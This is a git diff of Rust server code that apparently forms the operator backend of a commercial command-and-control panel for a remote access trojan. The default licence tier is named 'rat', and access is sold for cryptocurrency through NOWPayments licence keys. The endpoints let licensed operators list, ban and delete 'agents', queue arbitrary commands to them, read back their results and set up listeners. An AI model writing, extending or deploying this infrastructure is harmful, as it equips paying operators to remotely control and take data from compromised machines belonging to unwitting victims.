invoice_url, + }) + .into_response() +} + +// ============================================================================ +// POST /api/payments/webhook — NOWPayments IPN callback (public) +// ============================================================================ + +pub async fn payment_webhook( + State(state): State>, + headers: axum::http::HeaderMap, + body: String, +) -> impl IntoResponse { + let ipn_secret = match &state.config.nowpay_ipn_secret { + Some(s) => s.clone(), + None => { + warn!("Payment webhook received but IPN secret not configured"); + return StatusCode::OK; + } + }; + + // Parse body as JSON + let json_body: serde_json::Value = match serde_json::from_str(&body) { + Ok(v) => v, + Err(e) => { + warn!("Payment webhook: invalid JSON: {}", e); + return StatusCode::OK; // Return 200 to avoid retries + } + }; + + // Verify HMAC-SHA512 signature + let signature = headers + .get("x-nowpayments-sig") + .and_then(|v| v.to_str().ok()) + .unwrap_or(""); + + if !payments::verify_ipn_signature(&ipn_secret, &json_body, signature) { + warn!("Payment webhook: invalid signature"); + return StatusCode::OK; + } + + // Extract fields + let order_id = json_body["order_id"] + .as_str() + .unwrap_or("") + .to_string(); + let payment_status = json_body["payment_status"] + .as_str() + .unwrap_or("") + .to_string(); + let nowpay_payment_id = json_body["payment_id"] + .as_i64() + .map(|n| n.to_string()) + .or_else(|| json_body["payment_id"].as_str().map(String::from)); + + if order_id.is_empty() { + warn!("Payment webhook: missing order_id"); + return StatusCode::OK; + } + + info!( + order_id = %order_id, + status = %payment_status, + "Payment webhook received" + ); + + // Verify payment exists in our DB and fetch tier + let payment_tier = match payments::get_payment_by_order_id(&state.db, &order_id).await { + Ok(Some(tier)) => tier, + Ok(None) => { + warn!(order_id = %order_id, "Payment webhook: unknown order_id"); + return StatusCode::OK; + } + Err(e) => { + error!("Payment webhook DB error: {}", e); + return StatusCode::OK; + } + }; + + match payment_status.as_str() { + "finished" | "confirmed" => { + // Generate a lifetime license key + let license_key = license::generate_license_key( + &state.config.license_secret, + license::LIFETIME_DURATION, + ); + + if license_key.is_empty() { + error!(order_id = %order_id, "Failed to generate license key"); + return StatusCode::OK; + } + + // Parse back to extract key_id for DB record + let key_data = match license::parse_license_key( + &license_key, + &state.config.license_secret, + ) { + Ok(kd) => kd, + Err(e) => { + error!(order_id = %order_id, "Failed to parse generated key: {}", e); + return StatusCode::OK; + } + }; + + // Pre-insert the license key record in the DB with the purchased tier + if let Err(e) = queries::insert_license_key_record( + &state.db, + &key_data.key_id, + key_data.created_at, + key_data.expires_at, + 0, // unlimited agents + "payment", + ) + .await + { + error!(order_id = %order_id, "Failed to insert license key record: {}", e); + } + + // Set the tier on the license key + if let Err(e) = queries::set_license_key_tier( + &state.db, + &key_data.key_id, + &payment_tier, + ) + .await + { + error!(order_id = %order_id, "Failed to set license key tier: {}", e); + } + + // Mark payment as completed with the full key string + if let Err(e) = payments::complete_payment( + &state.db, + &order_id, + &license_key, + ) + .await + { + error!(order_id = %order_id, "Failed to complete payment: {}", e); + } + + info!( + order_id = %order_id, + tier = %payment_tier, + "Payment completed — lifetime license key generated" + ); + } + "waiting" | "confirming" | "sending" | "partially_paid" => { + // Intermediate status — update in DB + if let Err(e) = payments::update_payment_status( + &state.db, + &order_id, + &payment_status, + nowpay_payment_id.as_deref(), + ) + .await + { + error!(order_id = %order_id, "Failed to update payment status: {}", e); + } + } + "failed" | "refunded" | "expired" => { + if let Err(e) = payments::update_payment_status( + &state.db, + &order_id, + &payment_status, + nowpay_payment_id.as_deref(), + ) + .await + { + error!(order_id = %order_id, "Failed to update payment status: {}", e); + } + info!(order_id = %order_id, status = %payment_status, "Payment failed/expired"); + } + _ => { + warn!( + order_id = %order_id, + status = %payment_status, + "Unknown payment status" + ); + } + } + + StatusCode::OK +} + +// ============================================================================ +// GET /api/payments/:id/status — Check payment status (public) +// ============================================================================ + +pub async fn payment_status( + State(state): State>, + Path(payment_id): Path, +) -> impl IntoResponse { + match payments::get_payment(&state.db, &payment_id).await { + Ok(Some(record)) => Json(PaymentStatusResponse { + payment_id: record.payment_id, + status: record.status, + license_key: record.license_key, + amount: record.amount, + currency: record.currency, + tier: record.tier, + }) + .into_response(), + Ok(None) => ( + StatusCode::NOT_FOUND, + Json(serde_json::json!({"error": "payment not found"})), + ) + .into_response(), + Err(e) => { + error!("Failed to fetch payment: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": "internal error"})), + ) + .into_response() + } + } +} diff --git a/src/api/routes.rs b/src/api/routes.rs new file mode 100755 index 0000000..30e5d67 --- /dev/null +++ b/src/api/routes.rs @@ -0,0 +1,1884 @@ +use axum::{ + extract::{ConnectInfo, FromRequest, Path, Query, State}, + http::{header, StatusCode}, + response::IntoResponse, + Json, +}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::net::{IpAddr, SocketAddr}; +use std::sync::Arc; +use std::time::Instant; +use tokio::sync::Mutex; +use tracing::{error, info, warn}; + +use crate::db::queries; +use crate::events::Event; +use crate::protocol::Task; +use crate::state::AppState; +use crate::api::auth; + +// ============================================================================ +// Rate Limiter +// ============================================================================ + +/// Simple in-memory rate limiter for login attempts. +/// Tracks (attempt_count, window_start) per IP address. +pub struct LoginRateLimiter { + attempts: Mutex>, + max_attempts: u32, + window_secs: u64, +} + +impl LoginRateLimiter { + pub fn new(max_attempts: u32, window_secs: u64) -> Self { + Self { + attempts: Mutex::new(HashMap::new()), + max_attempts, + window_secs, + } + } + + /// Check if the given IP is rate-limited. Returns Ok(()) if allowed, + /// or Err(()) if the limit has been exceeded. + pub async fn check_and_increment(&self, ip: IpAddr) -> Result<(), ()> { + let mut map = self.attempts.lock().await; + let now = Instant::now(); + + // Periodically evict stale entries to prevent unbounded memory growth. + // We use a simple heuristic: on every 50th call, sweep old entries. + let total: u32 = map.values().map(|(c, _)| *c).sum(); + if total % 50 == 0 { + let window = self.window_secs; + map.retain(|_, (_, start)| now.duration_since(*start).as_secs() < window * 2); + } + + let entry = map.entry(ip).or_insert((0, now)); + + // Reset window if expired + if now.duration_since(entry.1).as_secs() >= self.window_secs { + entry.0 = 0; + entry.1 = now; + } + + if entry.0 >= self.max_attempts { + return Err(()); + } + + entry.0 += 1; + Ok(()) + } +} + +/// Global login rate limiter: 5 attempts per IP per 60 seconds. +static LOGIN_RATE_LIMITER: std::sync::OnceLock = std::sync::OnceLock::new(); + +fn get_login_rate_limiter() -> &'static LoginRateLimiter { + LOGIN_RATE_LIMITER.get_or_init(|| LoginRateLimiter::new(5, 60)) +} + +/// Per-username rate limiter: prevents credential stuffing. +pub struct UsernameRateLimiter { + attempts: Mutex>, + max_attempts: u32, + window_secs: u64, +} + +impl UsernameRateLimiter { + pub fn new(max_attempts: u32, window_secs: u64) -> Self { + Self { + attempts: Mutex::new(HashMap::new()), + max_attempts, + window_secs, + } + } + + pub async fn check_and_increment(&self, username: &str) -> Result<(), ()> { + let mut map = self.attempts.lock().await; + let now = Instant::now(); + + // Periodically evict stale entries to prevent unbounded memory growth. + let total: u32 = map.values().map(|(c, _)| *c).sum(); + if total % 50 == 0 { + let window = self.window_secs; + map.retain(|_, (_, start)| now.duration_since(*start).as_secs() < window * 2); + } + + let entry = map.entry(username.to_string()).or_insert((0, now)); + + if now.duration_since(entry.1).as_secs() >= self.window_secs { + entry.0 = 0; + entry.1 = now; + } + + if entry.0 >= self.max_attempts { + return Err(()); + } + + entry.0 += 1; + Ok(()) + } +} + +/// Global per-username rate limiter: 5 attempts per username per 60 seconds. +static USERNAME_RATE_LIMITER: std::sync::OnceLock = std::sync::OnceLock::new(); + +fn get_username_rate_limiter() -> &'static UsernameRateLimiter { + USERNAME_RATE_LIMITER.get_or_init(|| UsernameRateLimiter::new(5, 60)) +} + +// ============================================================================ +// Request / Response DTOs +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct LoginRequest { + pub username: String, + pub password: String, +} + +#[derive(Debug, Deserialize)] +pub struct RegisterRequest { + pub username: String, + pub password: String, + pub license_key: String, +} + +#[derive(Debug, Serialize)] +pub struct LoginResponse { + pub token: String, + pub expires_at: i64, + pub license_expires_at: i64, + pub role: String, + pub tier: String, +} + +#[derive(Debug, Deserialize)] +pub struct CreateTaskRequest { + pub command: String, + #[serde(default)] + pub args: Vec, + #[serde(default)] + pub data: Vec, + #[serde(default)] + pub timeout: u32, +} + +#[derive(Debug, Serialize)] +pub struct ApiError { + pub error: String, +} + +#[derive(Debug, Deserialize)] +pub struct CreateListenerRequest { + pub name: String, + #[serde(default = "default_protocol")] + pub protocol: String, + pub bind_address: String, + pub bind_port: u32, + #[serde(default)] + pub tls_cert_path: String, + #[serde(default)] + pub tls_key_path: String, +} + +fn default_protocol() -> String { + "https".to_string() +} + +// ============================================================================ +// POST /api/auth/login +// ============================================================================ + +pub async fn login( + ConnectInfo(addr): ConnectInfo, + State(state): State>, + Json(body): Json, +) -> impl IntoResponse { + let client_ip = addr.ip(); + let ip_str = client_ip.to_string(); + + // Rate limiting: per-IP (5 attempts/60s) + if get_login_rate_limiter().check_and_increment(client_ip).await.is_err() { + warn!(ip = %client_ip, "Login rate limit exceeded (IP)"); + return ( + StatusCode::TOO_MANY_REQUESTS, + Json(ApiError { + error: "too many login attempts, try again later".to_string(), + }), + ) + .into_response(); + } + + // Rate limiting: per-username (5 attempts/60s) + if get_username_rate_limiter().check_and_increment(&body.username).await.is_err() { + warn!(username = %body.username, "Login rate limit exceeded (username)"); + let _ = queries::insert_license_audit( + &state.db, "login_rate_limited", None, Some(&body.username), Some(&ip_str), + "per-username rate limit exceeded", + ).await; + return ( + StatusCode::TOO_MANY_REQUESTS, + Json(ApiError { + error: "too many login attempts, try again later".to_string(), + }), + ) + .into_response(); + } + + // Password check: compare against stored argon2 hash. + let stored_hash = match queries::get_operator_password_hash(&state.db, &body.username).await { + Ok(Some(h)) => h, + Ok(None) => { + let _ = queries::insert_license_audit( + &state.db, "login_failed", None, Some(&body.username), Some(&ip_str), + "invalid credentials (unknown user)", + ).await; + return ( + StatusCode::UNAUTHORIZED, + Json(ApiError { + error: "invalid credentials".to_string(), + }), + ) + .into_response(); + } + Err(e) => { + error!("Database error during login: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "internal error".to_string(), + }), + ) + .into_response(); + } + }; + + if !verify_password(&body.password, &stored_hash) { + let _ = queries::insert_license_audit( + &state.db, "login_failed", None, Some(&body.username), Some(&ip_str), + "invalid credentials (wrong password)", + ).await; + return ( + StatusCode::UNAUTHORIZED, + Json(ApiError { + error: "invalid credentials".to_string(), + }), + ) + .into_response(); + } + + // Fetch operator role + let role = queries::get_operator_role(&state.db, &body.username) + .await + .ok() + .flatten() + .unwrap_or_else(|| "operator".to_string()); + + // ── License check (admins skip) ───────────────────────────────────── + let license_expires_at = if role == "admin" { + // Admin bootstrap operator has no license key — give a far-future expiry + chrono::Utc::now().timestamp() + 365 * 24 * 3600 + } else { + let now = chrono::Utc::now().timestamp(); + match queries::get_operator_license_expiry(&state.db, &body.username).await { + Ok(Some(exp)) if exp > now => exp, + Ok(Some(_)) => { + let _ = queries::insert_license_audit( + &state.db, "login_failed", None, Some(&body.username), Some(&ip_str), + "license expired", + ).await; + return ( + StatusCode::UNAUTHORIZED, + Json(ApiError { error: "license has expired".to_string() }), + ).into_response(); + } + _ => { + let _ = queries::insert_license_audit( + &state.db, "login_failed", None, Some(&body.username), Some(&ip_str), + "no active license — register first", + ).await; + return ( + StatusCode::UNAUTHORIZED, + Json(ApiError { error: "no active license — please register first".to_string() }), + ).into_response(); + } + } + }; + + match auth::create_token( + &body.username, + &state.config.jwt_secret, + state.config.jwt_lifetime_secs, + &role, + ) { + Ok(token) => { + let expires_at = + chrono::Utc::now().timestamp() + state.config.jwt_lifetime_secs; + + state.event_bus.emit(Event::new( + "operator_login", + "", + &body.username, + &format!("Operator {} logged in", body.username), + "info", + )); + + let _ = queries::insert_license_audit( + &state.db, "login_success", None, Some(&body.username), Some(&ip_str), + "", + ).await; + + info!(operator = %body.username, role = %role, "Operator logged in"); + + let tier = queries::get_operator_tier(&state.db, &body.username) + .await + .unwrap_or_else(|_| "rat".to_string()); + + Json(LoginResponse { token, expires_at, license_expires_at, role, tier }).into_response() + } + Err(e) => { + error!("JWT creation failed: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "token creation failed".to_string(), + }), + ) + .into_response() + } + } +} + +// ============================================================================ +// POST /api/auth/register +// ============================================================================ + +pub async fn register( + ConnectInfo(addr): ConnectInfo, + State(state): State>, + Json(body): Json, +) -> impl IntoResponse { + let client_ip = addr.ip(); + let ip_str = client_ip.to_string(); + + // Rate limiting (reuse login IP limiter) + if get_login_rate_limiter().check_and_increment(client_ip).await.is_err() { + warn!(ip = %client_ip, "Register rate limit exceeded (IP)"); + return ( + StatusCode::TOO_MANY_REQUESTS, + Json(ApiError { error: "too many attempts, try again later".to_string() }), + ).into_response(); + } + + // Input validation + let username = body.username.trim(); + let password = &body.password; + if username.is_empty() || username.len() > 32 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "username must be 1-32 characters".to_string() }), + ).into_response(); + } + if !username.chars().all(|c| c.is_alphanumeric() || c == '_' || c == '-') { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "username may only contain alphanumeric, underscore, or hyphen".to_string() }), + ).into_response(); + } + if password.len() < 12 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "password must be at least 12 characters".to_string() }), + ).into_response(); + } + + // Validate license key + let key_data = match crate::license::parse_license_key(&body.license_key, &state.config.license_secret) { + Ok(kd) => kd, + Err(e) => { + warn!(error = %e, "Registration: invalid license key"); + let _ = queries::insert_license_audit( + &state.db, "register_failed", None, Some(username), Some(&ip_str), + &format!("invalid license key: {}", e), + ).await; + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "invalid license key".to_string() }), + ).into_response(); + } + }; + + // Check key not expired + let now = chrono::Utc::now().timestamp(); + if key_data.expires_at <= now { + let _ = queries::insert_license_audit( + &state.db, "register_failed", Some(&key_data.key_id), Some(username), Some(&ip_str), + "license key expired", + ).await; + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "license key has expired".to_string() }), + ).into_response(); + } + + // Activate license key BEFORE creating the operator so that an invalid or + // already-used key never leaves an orphaned user record in the database. + match queries::activate_license_key( + &state.db, + &key_data.key_id, + key_data.created_at, + key_data.expires_at, + username, + &ip_str, + ).await { + Ok(unregistered) => { + if unregistered { + let _ = queries::insert_license_audit( + &state.db, "unregistered_activation", Some(&key_data.key_id), + Some(username), Some(&ip_str), + "key activated during registration (not pre-registered)", + ).await; + } + } + Err(e) => { + let _ = queries::insert_license_audit( + &state.db, "register_failed", Some(&key_data.key_id), Some(username), Some(&ip_str), + &format!("license activation failed: {}", e), + ).await; + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: e }), + ).into_response(); + } + } + + // Create operator (catches duplicate username) + let pass_hash = hash_password(password); + match queries::try_create_operator(&state.db, username, &pass_hash, "operator").await { + Ok(true) => { + // Propagate tier from the license key to the operator + if let Ok(tier) = queries::get_license_key_tier(&state.db, &key_data.key_id).await { + let _ = queries::set_operator_tier(&state.db, username, &tier).await; + } + } + Ok(false) => { + warn!(username = %username, "Registration failed: username already taken"); + let _ = queries::insert_license_audit( + &state.db, "register_failed", None, Some(username), Some(&ip_str), + "username already taken", + ).await; + return ( + StatusCode::CONFLICT, + Json(ApiError { error: "registration failed".to_string() }), + ).into_response(); + } + Err(e) => { + error!("Database error during registration: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "internal error".to_string() }), + ).into_response(); + } + } + + let _ = queries::insert_license_audit( + &state.db, "register_success", Some(&key_data.key_id), Some(username), Some(&ip_str), "", + ).await; + + // Auto-login: issue JWT + let role = "operator".to_string(); + match auth::create_token( + username, + &state.config.jwt_secret, + state.config.jwt_lifetime_secs, + &role, + ) { + Ok(token) => { + let expires_at = chrono::Utc::now().timestamp() + state.config.jwt_lifetime_secs; + let license_expires_at = key_data.expires_at; + + state.event_bus.emit(Event::new( + "operator_register", + "", + username, + &format!("Operator {} registered", username), + "info", + )); + + info!(operator = %username, "Operator registered and logged in"); + + let tier = queries::get_operator_tier(&state.db, username) + .await + .unwrap_or_else(|_| "rat".to_string()); + + Json(LoginResponse { token, expires_at, license_expires_at, role, tier }).into_response() + } + Err(e) => { + error!("JWT creation failed after registration: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "registration succeeded but token creation failed".to_string() }), + ).into_response() + } + } +} + +// ============================================================================ +// POST /api/auth/logout +// ============================================================================ + +pub async fn logout( + req: axum::extract::Request, +) -> impl IntoResponse { + // Extract the raw token from the Authorization header to revoke it. + let token = req + .headers() + .get(header::AUTHORIZATION) + .and_then(|v| v.to_str().ok()) + .and_then(|v| v.strip_prefix("Bearer ")) + .map(|t| t.to_string()); + + if let Some(t) = token { + auth::revoke_token(&t); + } + + StatusCode::NO_CONTENT +} + +// ============================================================================ +// Ownership helper +// ============================================================================ + +/// Check if the authenticated operator has access to the given agent. +/// Returns Ok(()) if allowed, or an appropriate error status. +pub fn check_agent_access( + state: &AppState, + agent_id: &str, + claims: &auth::Claims, +) -> Result<(), StatusCode> { + let snapshot = state.agents.get_agent_info(agent_id).ok_or(StatusCode::NOT_FOUND)?; + if claims.role == "admin" { + return Ok(()); + } + if snapshot.owner == claims.sub { + return Ok(()); + } + Err(StatusCode::FORBIDDEN) +} + +/// Extract Claims from request extensions (set by auth middleware). +fn extract_claims(req: &axum::extract::Request) -> Result { + req.extensions() + .get::() + .cloned() + .ok_or(StatusCode::UNAUTHORIZED) +} + +// ============================================================================ +// GET /api/agents?status=alive,stale +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct ListAgentsQuery { + #[serde(default)] + pub status: Option, +} + +pub async fn list_agents( + State(state): State>, + Query(query): Query, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + let mut agents = state.agents.list_agents_for_operator(&claims.sub, &claims.role); + + // Filter by status if query param provided (comma-separated: "alive,stale") + if let Some(ref status_filter) = query.status { + let allowed: Vec<&str> = status_filter.split(',').map(|s| s.trim()).collect(); + agents.retain(|a| { + let s = a.status.to_string(); + allowed.iter().any(|f| *f == s) + }); + } + + Json(agents).into_response() +} + +// ============================================================================ +// DELETE /api/agents/:id +// ============================================================================ + +pub async fn delete_agent( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + + // Remove from in-memory registry + state.agents.remove_agent(&agent_id); + + // Remove from database + match queries::delete_agent(&state.db, &agent_id).await { + Ok(true) => { + info!(agent_id = %agent_id, operator = %claims.sub, "Agent deleted"); + state.event_bus.emit(crate::events::Event::new( + "agent_deleted", + &agent_id, + &claims.sub, + &format!("Agent {} deleted by {}", agent_id, claims.sub), + "info", + )); + StatusCode::NO_CONTENT.into_response() + } + Ok(false) => { + // Was in memory but not DB (or already deleted) + StatusCode::NO_CONTENT.into_response() + } + Err(e) => { + error!("Failed to delete agent from DB: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { error: "failed to delete agent".to_string() }), + ).into_response() + } + } +} + +// ============================================================================ +// POST /api/agents/:id/ban +// ============================================================================ + +pub async fn ban_agent( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + + // Set in-memory flag + state.agents.ban_agent(&agent_id); + + // Persist to DB + match queries::ban_agent(&state.db, &agent_id).await { + Ok(true) => { + info!(agent_id = %agent_id, operator = %claims.sub, "Agent banned"); + state.event_bus.emit(crate::events::Event::new( + "agent_banned", + &agent_id, + &claims.sub, + &format!("Agent {} banned by {}", agent_id, claims.sub), + "warning", + )); + StatusCode::NO_CONTENT.into_response() + } + Ok(false) => { + (StatusCode::NOT_FOUND, Json(ApiError { error: "agent not found".to_string() })).into_response() + } + Err(e) => { + error!("Failed to ban agent: {}", e); + (StatusCode::INTERNAL_SERVER_ERROR, Json(ApiError { error: "failed to ban agent".to_string() })).into_response() + } + } +} + +// ============================================================================ +// POST /api/agents/:id/unban +// ============================================================================ + +pub async fn unban_agent( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + + // Clear in-memory flag + state.agents.unban_agent(&agent_id); + + // Persist to DB + match queries::unban_agent(&state.db, &agent_id).await { + Ok(true) => { + info!(agent_id = %agent_id, operator = %claims.sub, "Agent unbanned"); + state.event_bus.emit(crate::events::Event::new( + "agent_unbanned", + &agent_id, + &claims.sub, + &format!("Agent {} unbanned by {}", agent_id, claims.sub), + "info", + )); + StatusCode::NO_CONTENT.into_response() + } + Ok(false) => { + (StatusCode::NOT_FOUND, Json(ApiError { error: "agent not found".to_string() })).into_response() + } + Err(e) => { + error!("Failed to unban agent: {}", e); + (StatusCode::INTERNAL_SERVER_ERROR, Json(ApiError { error: "failed to unban agent".to_string() })).into_response() + } + } +} + +// ============================================================================ +// GET /api/agents/:id +// ============================================================================ + +pub async fn get_agent( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + match state.agents.get_agent_info(&agent_id) { + Some(info) => Json(info).into_response(), + None => ( + StatusCode::NOT_FOUND, + Json(ApiError { + error: "agent not found".to_string(), + }), + ) + .into_response(), + } +} + +// ============================================================================ +// POST /api/agents/:id/tasks +// ============================================================================ + +pub async fn create_task( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + let operator = claims.sub.clone(); + + let body: CreateTaskRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: format!("invalid request: {}", e) }), + ).into_response(); + } + }; + + // Limit task data size (10 MiB max) to prevent memory abuse + if body.data.len() > 10 * 1024 * 1024 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "task data exceeds 10 MiB limit".to_string() }), + ).into_response(); + } + + // Check agent exists before creating a task to avoid orphaned DB records + if state.agents.get_agent_info(&agent_id).is_none() { + return ( + StatusCode::NOT_FOUND, + Json(ApiError { + error: "agent not found or not registered".to_string(), + }), + ) + .into_response(); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: body.command, + args: body.args, + data: body.data, + timeout: body.timeout, + }; + + // Persist to DB + if let Err(e) = queries::insert_task(&state.db, &agent_id, &task, &operator).await { + error!("Failed to persist task: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "failed to store task".to_string(), + }), + ) + .into_response(); + } + + // Enqueue in memory + crate::tasks::enqueue_task(&state.agents, &state.event_bus, &agent_id, task.clone(), &operator); + + info!(agent_id = %agent_id, task_id = %task.task_id, command = %task.command, "Task queued"); + + (StatusCode::CREATED, Json(serde_json::json!({ "task_id": task.task_id }))).into_response() +} + +// ============================================================================ +// GET /api/agents/:id/tasks +// ============================================================================ + +pub async fn get_agent_tasks( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + tracing::info!(agent_id = %agent_id, "API: fetching tasks+results"); + match queries::get_tasks_for_agent(&state.db, &agent_id).await { + Ok(tasks) => { + let results = match queries::get_results_for_agent(&state.db, &agent_id).await { + Ok(r) => r, + Err(e) => { + tracing::warn!(agent_id = %agent_id, error = %e, "Failed to fetch results, returning empty"); + Vec::new() + } + }; + let with_data = results.iter().filter(|r| r.data.is_some()).count(); + tracing::info!( + agent_id = %agent_id, + tasks = tasks.len(), + results = results.len(), + with_data = with_data, + "API: returning {} tasks, {} results ({} with data)", + tasks.len(), results.len(), with_data + ); + Json(serde_json::json!({ + "tasks": tasks, + "results": results, + })) + .into_response() + } + Err(e) => { + error!("Failed to fetch tasks: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "database error".to_string(), + }), + ) + .into_response() + } + } +} + +// ============================================================================ +// GET /api/events +// ============================================================================ + +pub async fn get_events( + State(state): State>, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + match queries::get_recent_events(&state.db, 200).await { + Ok(events) => { + if claims.role == "admin" { + Json(events).into_response() + } else { + // Operators only see their own events: + // - Events they triggered (operator == their username) + // - Events for agents they own + // - System events (empty operator AND empty agent_id) + let filtered: Vec<_> = events + .into_iter() + .filter(|e| { + // Their own operator actions (login, register, build, etc.) + if e.operator == claims.sub { + return true; + } + // System events with no operator and no agent + if e.operator.is_empty() && e.agent_id.is_empty() { + return true; + } + // Agent events — only if they own the agent + if !e.agent_id.is_empty() { + return state.agents.get_agent_info(&e.agent_id) + .map(|s| s.owner == claims.sub) + .unwrap_or(false); + } + false + }) + .collect(); + Json(filtered).into_response() + } + } + Err(e) => { + error!("Failed to fetch events from DB: {}", e); + let events = state.event_bus.recent(200).await; + Json(events).into_response() + } + } +} + +// ============================================================================ +// GET /api/listeners +// ============================================================================ + +pub async fn list_listeners( + State(state): State>, +) -> impl IntoResponse { + match queries::get_listeners(&state.db).await { + Ok(listeners) => Json(listeners).into_response(), + Err(e) => { + error!("Failed to fetch listeners: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "database error".to_string(), + }), + ) + .into_response() + } + } +} + +// ============================================================================ +// POST /api/listeners +// ============================================================================ + +/// NOTE: This endpoint only persists the listener record in the database. +/// It does NOT actually bind a socket or start accepting connections. +/// Full listener lifecycle management is planned for future work. +pub async fn create_listener( + State(state): State>, + Json(body): Json, +) -> impl IntoResponse { + // ── Input validation ──────────────────────────────────────────────── + // bind_address must be a valid IP address or well-known name + let bind_addr_valid = body.bind_address == "localhost" + || body.bind_address.parse::().is_ok(); + if !bind_addr_valid { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "bind_address must be a valid IP address or 'localhost'".to_string() }), + ).into_response(); + } + + // bind_port must be in the valid TCP port range 1-65535 + if body.bind_port == 0 || body.bind_port > 65535 { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "bind_port must be between 1 and 65535".to_string() }), + ).into_response(); + } + + // Reject path traversal in TLS file paths + if body.tls_cert_path.contains("..") || body.tls_key_path.contains("..") { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: "TLS paths must not contain '..' (path traversal)".to_string() }), + ).into_response(); + } + + let listener = queries::ListenerRecord { + listener_id: uuid::Uuid::new_v4().to_string(), + name: body.name, + protocol: body.protocol, + bind_address: body.bind_address, + bind_port: body.bind_port, + active: true, + tls_cert_path: body.tls_cert_path, + tls_key_path: body.tls_key_path, + created_at: chrono::Utc::now().to_rfc3339(), + }; + + if let Err(e) = queries::insert_listener(&state.db, &listener).await { + error!("Failed to create listener: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "failed to create listener".to_string(), + }), + ) + .into_response(); + } + + state.event_bus.emit(Event::new( + "listener_start", + "", + "", + &format!( + "Listener '{}' created on {}:{}", + listener.name, listener.bind_address, listener.bind_port + ), + "info", + )); + + info!( + listener_id = %listener.listener_id, + name = %listener.name, + "Listener created" + ); + + (StatusCode::CREATED, Json(listener)).into_response() +} + +// ============================================================================ +// GET /api/agents/:id/tags +// ============================================================================ + +pub async fn get_agent_tags( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + match queries::get_agent_tags(&state.db, &agent_id).await { + Ok(tags) => Json(tags).into_response(), + Err(e) => { + error!("Failed to fetch agent tags: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "database error".to_string(), + }), + ) + .into_response() + } + } +} + +// ============================================================================ +// PUT /api/agents/:id/tags +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct SetTagsRequest { + pub tags: Vec, +} + +pub async fn set_agent_tags( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let claims = match extract_claims(&req) { + Ok(c) => c, + Err(s) => return s.into_response(), + }; + if let Err(s) = check_agent_access(&state, &agent_id, &claims) { + return s.into_response(); + } + let body: SetTagsRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(ApiError { error: format!("invalid request: {}", e) }), + ).into_response(); + } + }; + if let Err(e) = queries::set_agent_tags(&state.db, &agent_id, &body.tags).await { + error!("Failed to set agent tags: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(ApiError { + error: "failed to set tags".to_string(), + }), + ) + 